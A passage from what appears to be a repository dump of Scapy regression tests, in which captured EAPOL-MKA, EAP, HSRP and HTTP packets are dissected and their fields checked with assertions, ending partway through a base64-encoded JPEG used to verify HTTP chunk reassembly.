b"\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7" assert eapol[MKAPDU].haslayer(MKAICVSet) assert eapol[MKAPDU][MKAICVSet].icv == b"\xe5\xf5j\x86V\\\xb1\xcc\xa9\xb95\x04m*Cj" = EAPOL-MKA - With Potential Peer List parameter set - Dissection eapol = None s = b'\x03\x05\x00h\x01\x10\xe0<\xccN$\xc4\xf7\x7f\x00\x80q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6\x00\x00\x00}\x00\x80\xc2\x01\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x02\x00\x00\x10\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7\x00\x00\x00\x01\xff\x00\x00\x105\x01\xdc)\xfd\xd1\xff\xd55\x9c_o\xc9\x9c\xca\xc0' eapol = EAPOL(s) assert eapol.version == 3 assert eapol.type == 5 assert eapol.len == 104 assert eapol.haslayer(MKAPDU) assert eapol[MKAPDU].basic_param_set.actor_member_id == b"q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6" assert eapol.haslayer(MKAPotentialPeerListParamSet) assert eapol[MKAPDU][MKAPotentialPeerListParamSet].member_id_message_num[0].member_id == b"\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7" assert eapol[MKAPDU].haslayer(MKAICVSet) assert eapol[MKAPDU][MKAICVSet].icv == b"5\x01\xdc)\xfd\xd1\xff\xd55\x9c_o\xc9\x9c\xca\xc0" = EAPOL-MKA - With Live Peer List parameter set - Dissection eapol = None s = b"\x03\x05\x00h\x01\xffp<\x00Bh\xa8\x1e\x03\x00\n\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7\x00\x00\x00\x02\x00\x80\xc2\x01\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x01\x00\x00\x10q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6\x00\x00\x00\x80\xff\x00\x00\x10\xf4\xa1d\x18\tD\xa2}\x8e'\x0c/\xda,\xea\xb7" eapol = EAPOL(s) assert eapol.version == 3 assert eapol.type == 5 assert eapol.len == 104 assert eapol.haslayer(MKAPDU) assert eapol[MKAPDU].basic_param_set.actor_member_id == b'\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7' assert eapol.haslayer(MKALivePeerListParamSet) assert eapol[MKAPDU][MKALivePeerListParamSet].member_id_message_num[0].member_id == b"q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6" assert eapol[MKAPDU].haslayer(MKAICVSet) assert eapol[MKAPDU][MKAICVSet].icv == b"\xf4\xa1d\x18\tD\xa2}\x8e'\x0c/\xda,\xea\xb7" = EAPOL-MKA - With SAK Use parameter set - Dissection eapol = None s = b'\x03\x05\x00\x94\x01\xffp<\x00Bh\xa8\x1e\x03\x00\n\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7\x00\x00\x00\x03\x00\x80\xc2\x01\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x03\x10\x00(q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6\x00\x00\x00\x01\x00\x00\x00\x00q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6\x00\x00\x00\x01\x00\x00\x00\x00\x01\x00\x00\x10q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6\x00\x00\x00\x83\xff\x00\x00\x10OF\x84\xf1@%\x95\xe6Fw9\x1a\xfa\x03(\xae' eapol = EAPOL(s) assert eapol.version == 3 assert eapol.type == 5 assert eapol.len == 148 assert eapol.haslayer(MKAPDU) assert eapol[MKAPDU].basic_param_set.actor_member_id == b'\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7' assert eapol.haslayer(MKASAKUseParamSet) assert eapol[MKAPDU][MKASAKUseParamSet].latest_key_key_server_member_id == b"q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6" assert eapol.haslayer(MKALivePeerListParamSet) assert eapol[MKAPDU][MKALivePeerListParamSet].member_id_message_num[0].member_id == b"q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6" assert eapol[MKAPDU].haslayer(MKAICVSet) assert eapol[MKAPDU][MKAICVSet].icv == b"OF\x84\xf1@%\x95\xe6Fw9\x1a\xfa\x03(\xae" = EAPOL-MKA - With Distributed SAK parameter set - Dissection eapol = None s = b"\x03\x05\x00\xb4\x01\x10\xe0<\xccN$\xc4\xf7\x7f\x00\x80q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6\x00\x00\x00\x81\x00\x80\xc2\x01\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x01\x00\x00\x10\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7\x00\x00\x00\x02\x03\x10\x00(q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x10\x00\x1c\x00\x00\x00\x01Cz\x05\x88\x9f\xe8-\x94W+?\x13~\xfb\x016yVB?\xbd\xa1\x9fu\xff\x00\x00\x10\xb0H\xcf\xe0:\xa1\x94RD'\x03\xe67\xe1Ur" eapol = EAPOL(s) assert eapol.version == 3 assert eapol.type == 5 assert eapol.len == 180 assert eapol.haslayer(MKAPDU) assert eapol[MKAPDU].basic_param_set.actor_member_id == b"q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6" assert eapol.haslayer(MKASAKUseParamSet) assert eapol[MKAPDU][MKASAKUseParamSet].latest_key_key_server_member_id == b"q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6" assert eapol.haslayer(MKALivePeerListParamSet) assert eapol[MKAPDU][MKALivePeerListParamSet].member_id_message_num[0].member_id == b"\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7" assert eapol.haslayer(MKADistributedSAKParamSet) assert eapol[MKADistributedSAKParamSet].sak_aes_key_wrap == b"Cz\x05\x88\x9f\xe8-\x94W+?\x13~\xfb\x016yVB?\xbd\xa1\x9fu" assert eapol[MKAPDU].haslayer(MKAICVSet) assert eapol[MKAPDU][MKAICVSet].icv == b"\xb0H\xcf\xe0:\xa1\x94RD'\x03\xe67\xe1Ur" ############ ############ ############ + EAP class tests = EAP - Basic Instantiation raw(EAP()) == b'\x04\x00\x00\x04' = EAP - Instantiation with specific values raw(EAP(code = 1, id = 1, len = 5, type = 1)) == b'\x01\x01\x00\x05\x01' = EAP - Instantiation - Multiple desired authentication types raw(EAP(code=2, type=3, desired_auth_types=[13,21,25,43])) == b'\x02\x00\x00\t\x03\r\x15\x19+' = EAP - Dissection (1) s = b'\x01\x01\x00\x05\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' eap = EAP(s) assert eap.code == 1 assert eap.id == 1 assert eap.len == 5 assert hasattr(eap, "type") assert eap.type == 1 = EAP - Dissection (2) s = b'\x02\x01\x00\x0e\x01anonymous\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' eap = EAP(s) assert eap.code == 2 assert eap.id == 1 assert eap.len == 14 assert eap.type == 1 assert hasattr(eap, 'identity') assert eap.identity == b'anonymous' = EAP - Dissection (3) s = b'\x01\x01\x00\x06\r ' eap = EAP(s) assert eap.code == 1 assert eap.id == 1 assert eap.len == 6 assert eap.type == 13 assert eap.haslayer(EAP_TLS) assert eap[EAP_TLS].L == 0 assert eap[EAP_TLS].M == 0 assert eap[EAP_TLS].S == 1 = EAP - Dissection (4) s = b'\x02\x01\x00\xd1\r\x00\x16\x03\x01\x00\xc6\x01\x00\x00\xc2\x03\x01UK\x02\xdf\x1e\xde5\xab\xfa[\x15\xef\xbe\xa2\xe4`\xc6g\xb9\xa8\xaa%vAs\xb2\x1cXt\x1c0\xb7\x00\x00P\xc0\x14\xc0\n\x009\x008\x00\x88\x00\x87\xc0\x0f\xc0\x05\x005\x00\x84\xc0\x12\xc0\x08\x00\x16\x00\x13\xc0\r\xc0\x03\x00\n\xc0\x13\xc0\t\x003\x002\x00\x9a\x00\x99\x00E\x00D\xc0\x0e\xc0\x04\x00/\x00\x96\x00A\xc0\x11\xc0\x07\xc0\x0c\xc0\x02\x00\x05\x00\x04\x00\x15\x00\x12\x00\t\x00\xff\x01\x00\x00I\x00\x0b\x00\x04\x03\x00\x01\x02\x00\n\x004\x002\x00\x0e\x00\r\x00\x19\x00\x0b\x00\x0c\x00\x18\x00\t\x00\n\x00\x16\x00\x17\x00\x08\x00\x06\x00\x07\x00\x14\x00\x15\x00\x04\x00\x05\x00\x12\x00\x13\x00\x01\x00\x02\x00\x03\x00\x0f\x00\x10\x00\x11\x00#\x00\x00\x00\x0f\x00\x01\x01' eap = EAP(s) assert eap.code == 2 assert eap.id == 1 assert eap.len == 209 assert eap.type == 13 assert eap.haslayer(EAP_TLS) assert eap[EAP_TLS].L == 0 assert eap[EAP_TLS].M == 0 assert eap[EAP_TLS].S == 0 = EAP - Dissection (5) s = b'\x02\x9e\x00<+\x01\x16\x03\x01\x001\x01\x00\x00-\x03\x01dr1\x93ZS\x0en\xad\x1f\xbaH\xbb\xfe6\xe6\xd0\xcb\xec\xd7\xc0\xd7\xb9\xa5\xc9\x0c\xfd\x98o\xa7T \x00\x00\x04\x004\x00\x00\x01\x00\x00\x00' eap = EAP(s) assert eap.code == 2 assert eap.id == 158 assert eap.len == 60 assert eap.type == 43 assert eap.haslayer(EAP_FAST) assert eap[EAP_FAST].L == 0 assert eap[EAP_FAST].M == 0 assert eap[EAP_FAST].S == 0 assert eap[EAP_FAST].version == 1 = EAP - Dissection (6) s = b'\x02\x9f\x01L+\x01\x16\x03\x01\x01\x06\x10\x00\x01\x02\x01\x00Y\xc9\x8a\tcw\t\xdcbU\xfd\x035\xcd\x1a\t\x10f&[(9\xf6\x88W`\xc6\x0f\xb3\x84\x15\x19\xf5\tk\xbd\x8fp&0\xb0\xa4B\x85\x0c<:s\xf2zT\xc3\xbd\x8a\xe4D{m\xe7\x97\xfe>\xda\x14\xb8T1{\xd7H\x9c\xa6\xcb\xe3,u\xdf\xe0\x82\xe5R\x1e<\xe5\x03}\xeb\x98\xe2\xf7\x8d3\xc6\x83\xac"\x8f\xd7\x12\xe5{:"\x84A\xd9\x14\xc2cZF\xd4\t\xab\xdar\xc7\xe0\x0e\x00o\xce\x05g\xdc?\xcc\xf7\xe83\x83E\xb3>\xe8<3-QB\xfd$C/\x1be\xcf\x03\xd6Q4\xbe\\h\xba)<\x99N\x89\xd9\xb1\xfa!\xd7a\xef\xa3\xd3o\xed8Uz\xb5k\xb0`\xfeC\xbc\xb3aS,d\xe6\xdc\x13\xa4A\x1e\x9b\r{\xd6s \xd0cQ\x95y\xc8\x1d\xc3\xd9\x87\xf2=\x81\x96q~\x99E\xc3\x97\xa8px\xe2\xc7\x92\xeb\xff/v\x84\x1e\xfb\x00\x95#\xba\xfb\xd88h\x90K\xa7\xbd9d\xb4\xf2\xf2\x14\x02vtW\xaa\xadY\x14\x03\x01\x00\x01\x01\x16\x03\x01\x000\x97\xc5l\xd6\xef\xffcM\x81\x90Q\x96\xf6\xfeX1\xf7\xfc\x84\xc6\xa0\xf6Z\xcd\xb6\xe1\xd4\xdb\x88\xf9t%Q!\xe7,~#2G-\xdf\x83\xbf\x86Q\xa2$' eap = EAP(s) assert eap.code == 2 assert eap.id == 159 assert eap.len == 332 assert eap.type == 43 assert eap.haslayer(EAP_FAST) assert eap[EAP_FAST].L == 0 assert eap[EAP_FAST].M == 0 assert eap[EAP_FAST].S == 0 assert eap[EAP_FAST].version == 1 = EAP - Dissection (7) s = b'\x02\xf1\x00\t\x03\r\x15\x19+' eap = EAP(s) assert eap.code == 2 assert eap.id == 241 assert eap.len == 9 assert eap.type == 3 assert hasattr(eap, 'desired_auth_types') assert eap.desired_auth_types == [13,21,25,43] = EAP - Dissection (8) s = b"\x02\x03\x01\x15\x15\x00\x16\x03\x01\x01\n\x01\x00\x01\x06\x03\x03\xd5\xd9\xd5rT\x9e\xb8\xbe,>\xcf!\xcf\xc7\x02\x8c\xb1\x1e^F\xf7\xc84\x8c\x01t4\x91[\x02\xc8/\x00\x00\x8c\xc00\xc0,\xc0(\xc0$\xc0\x14\xc0\n\x00\xa5\x00\xa3\x00\xa1\x00\x9f\x00k\x00j\x00i\x00h\x009\x008\x007\x006\x00\x88\x00\x87\x00\x86\x00\x85\xc02\xc0.\xc0*\xc0&\xc0\x0f\xc0\x05\x00\x9d\x00=\x005\x00\x84\xc0/\xc0+\xc0'\xc0#\xc0\x13\xc0\t\x00\xa4\x00\xa2\x00\xa0\x00\x9e\x00g\x00@\x00?\x00>\x003\x002\x001\x000\x00\x9a\x00\x99\x00\x98\x00\x97\x00E\x00D\x00C\x00B\xc01\xc0-\xc0)\xc0%\xc0\x0e\xc0\x04\x00\x9c\x00<\x00/\x00\x96\x00A\x00\xff\x01\x00\x00Q\x00\x0b\x00\x04\x03\x00\x01\x02\x00\n\x00\x1c\x00\x1a\x00\x17\x00\x19\x00\x1c\x00\x1b\x00\x18\x00\x1a\x00\x16\x00\x0e\x00\r\x00\x0b\x00\x0c\x00\t\x00\n\x00\r\x00 \x00\x1e\x06\x01\x06\x02\x06\x03\x05\x01\x05\x02\x05\x03\x04\x01\x04\x02\x04\x03\x03\x01\x03\x02\x03\x03\x02\x01\x02\x02\x02\x03\x00\x0f\x00\x01\x01" eap = EAP(s) assert eap.code == 2 assert eap.id == 3 assert eap.len == 277 assert eap.type == 21 assert eap.haslayer(EAP_TTLS) assert eap[EAP_TTLS].L == 0 assert eap[EAP_TTLS].M == 0 assert eap[EAP_TTLS].S == 0 assert eap[EAP_TTLS].version == 0 = EAP - EAP_TLS - Basic Instantiation raw(EAP_TLS()) == b'\x01\x00\x00\x06\r\x00' = EAP - EAP_FAST - Basic Instantiation raw(EAP_FAST()) == b'\x01\x00\x00\x06+\x00' = EAP - EAP_TTLS - Basic Instantiation raw(EAP_TTLS()) == b'\x01\x00\x00\x06\x15\x00' = EAP - EAP_PEAP - Basic Instantiation raw(EAP_PEAP()) == b'\x01\x00\x00\x06\x19\x01' = EAP - EAP_MD5 - Basic Instantiation raw(EAP_MD5()) == b'\x01\x00\x00\x06\x04\x00' = EAP - EAP_MD5 - Request - Dissection (8) s = b'\x01\x02\x00\x16\x04\x10\x86\xf9\x89\x94\x81\x01\xb3 nHh\x1b\x8d\xe7^\xdb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' eap = EAP(s) assert eap.code == 1 assert eap.id == 2 assert eap.len == 22 assert eap.type == 4 assert eap.haslayer(EAP_MD5) assert eap[EAP_MD5].value_size == 16 assert eap[EAP_MD5].value == b'\x86\xf9\x89\x94\x81\x01\xb3 nHh\x1b\x8d\xe7^\xdb' assert eap[EAP_MD5].optional_name == b'' = EAP - EAP_MD5 - Response - Dissection (9) s = b'\x02\x02\x00\x16\x04\x10\xfd\x1e\xffe\xf5\x80y\xa8\xe3\xc8\xf1\xbd\xc2\x85\xae\xcf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' eap = EAP(s) assert eap.code == 2 assert eap.id == 2 assert eap.len == 22 assert eap.type == 4 assert eap.haslayer(EAP_MD5) assert eap[EAP_MD5].value_size == 16 assert eap[EAP_MD5].value == b'\xfd\x1e\xffe\xf5\x80y\xa8\xe3\xc8\xf1\xbd\xc2\x85\xae\xcf' assert eap[EAP_MD5].optional_name == b'' = EAP - LEAP - Basic Instantiation raw(LEAP()) == b'\x01\x00\x00\x08\x11\x01\x00\x00' = EAP - LEAP - Request - Dissection (10) s = b'\x01D\x00\x1c\x11\x01\x00\x088\xb6\xd7\xa1E\x9a9\x8a[\x91\xe1U\xfa\xb6H\xd1\xbd\x9b\xd5\xadl\rV\x00\x00\x02\x00/\x01\x00' eap = EAP_PEAP(s) assert eap.code == 2 assert eap.id == 3 assert eap.len == 56 assert eap.type == 25 assert eap.haslayer(EAP_PEAP) assert eap[EAP_PEAP].S == 0 assert eap[EAP_PEAP].version == 1 assert hasattr(eap[EAP_PEAP], "tls_data") = EAP - Layers (1) eap = EAP_MD5() assert EAP_MD5 in eap assert not EAP_TLS in eap assert not EAP_FAST in eap assert not LEAP in eap assert EAP in eap eap = EAP_TLS() assert EAP_TLS in eap assert not EAP_MD5 in eap assert not EAP_FAST in eap assert not LEAP in eap assert EAP in eap eap = EAP_FAST() assert EAP_FAST in eap assert not EAP_MD5 in eap assert not EAP_TLS in eap assert not LEAP in eap assert EAP in eap eap = EAP_TTLS() assert EAP_TTLS in eap assert not EAP_MD5 in eap assert not EAP_TLS in eap assert not EAP_FAST in eap assert not LEAP in eap assert EAP in eap eap = EAP_PEAP() assert EAP_PEAP in eap assert EAP in eap eap = LEAP() assert not EAP_MD5 in eap assert not EAP_TLS in eap assert not EAP_FAST in eap assert LEAP in eap assert EAP in eap = EAP - Layers (2) eap = EAP_MD5() assert type(eap[EAP]) == EAP_MD5 eap = EAP_TLS() assert type(eap[EAP]) == EAP_TLS eap = EAP_FAST() assert type(eap[EAP]) == EAP_FAST eap = EAP_TTLS() assert type(eap[EAP]) == EAP_TTLS eap = EAP_PEAP() assert type(eap[EAP]) == EAP_PEAP eap = LEAP() assert type(eap[EAP]) == LEAP = EAP - sessions (1) p = IP()/TCP()/EAP() l = PacketList(p) s = l.sessions() # Crashed on commit: e42ecdc54556c4852ca06b1a6da6c1ccbf3f522e assert len(s) == 1 = EAP - sessions (2) p = IP()/UDP()/EAP() l = PacketList(p) s = l.sessions() # Crashed on commit: e42ecdc54556c4852ca06b1a6da6c1ccbf3f522e assert len(s) == 1 ================================================ FILE: test/scapy/layers/hsrp.uts ================================================ % HSRP regression tests for Scapy ############ ############ + HSRP tests = HSRP - build & dissection defaddr = conf.route.route('0.0.0.0')[1] pkt = IP(raw(IP()/UDP(dport=1985, sport=1985)/HSRP()/HSRPmd5())) assert pkt[IP].dst == "224.0.0.2" and pkt[UDP].sport == pkt[UDP].dport == 1985 assert pkt[HSRP].opcode == 0 and pkt[HSRP].state == 16 assert pkt[HSRPmd5].type == 4 and pkt[HSRPmd5].sourceip == defaddr ================================================ FILE: test/scapy/layers/http.uts ================================================ % HTTP regression tests for Scapy ############ ############ + HTTP = TCPSession - dissect HTTP 1.0 chunked image ~ http load_layer("http") import os filename = scapy_path("/test/pcaps/http_chunk.pcap.gz") a = sniff(offline=filename, session=TCPSession) a[2].show() assert HTTPRequest in a[2] assert a[2].Path == b'/httpgallery/chunked/chunkedimage.aspx?0.2911017199439567' assert a[2].Accept_Encoding == b'gzip, deflate' assert a[2].Accept == b'image/webp,image/apng,image/*,*/*;q=0.8' assert a[2].Http_Version == b'HTTP/1.1' assert a[2].Referer == b'http://www.httpwatch.com/httpgallery/chunked/' a[29].show() assert HTTPResponse in a[29] assert a[29].Transfer_Encoding == b"chunked" assert a[29].Content_Type == b'image/jpeg; charset=utf-8' assert a[29].Http_Version == b'HTTP/1.1' assert a[29].Status_Code == b"200" assert a[29].Reason_Phrase == b"OK" assert len(a[29].load) == 33653 # According to wireshark: wireshark_data = b'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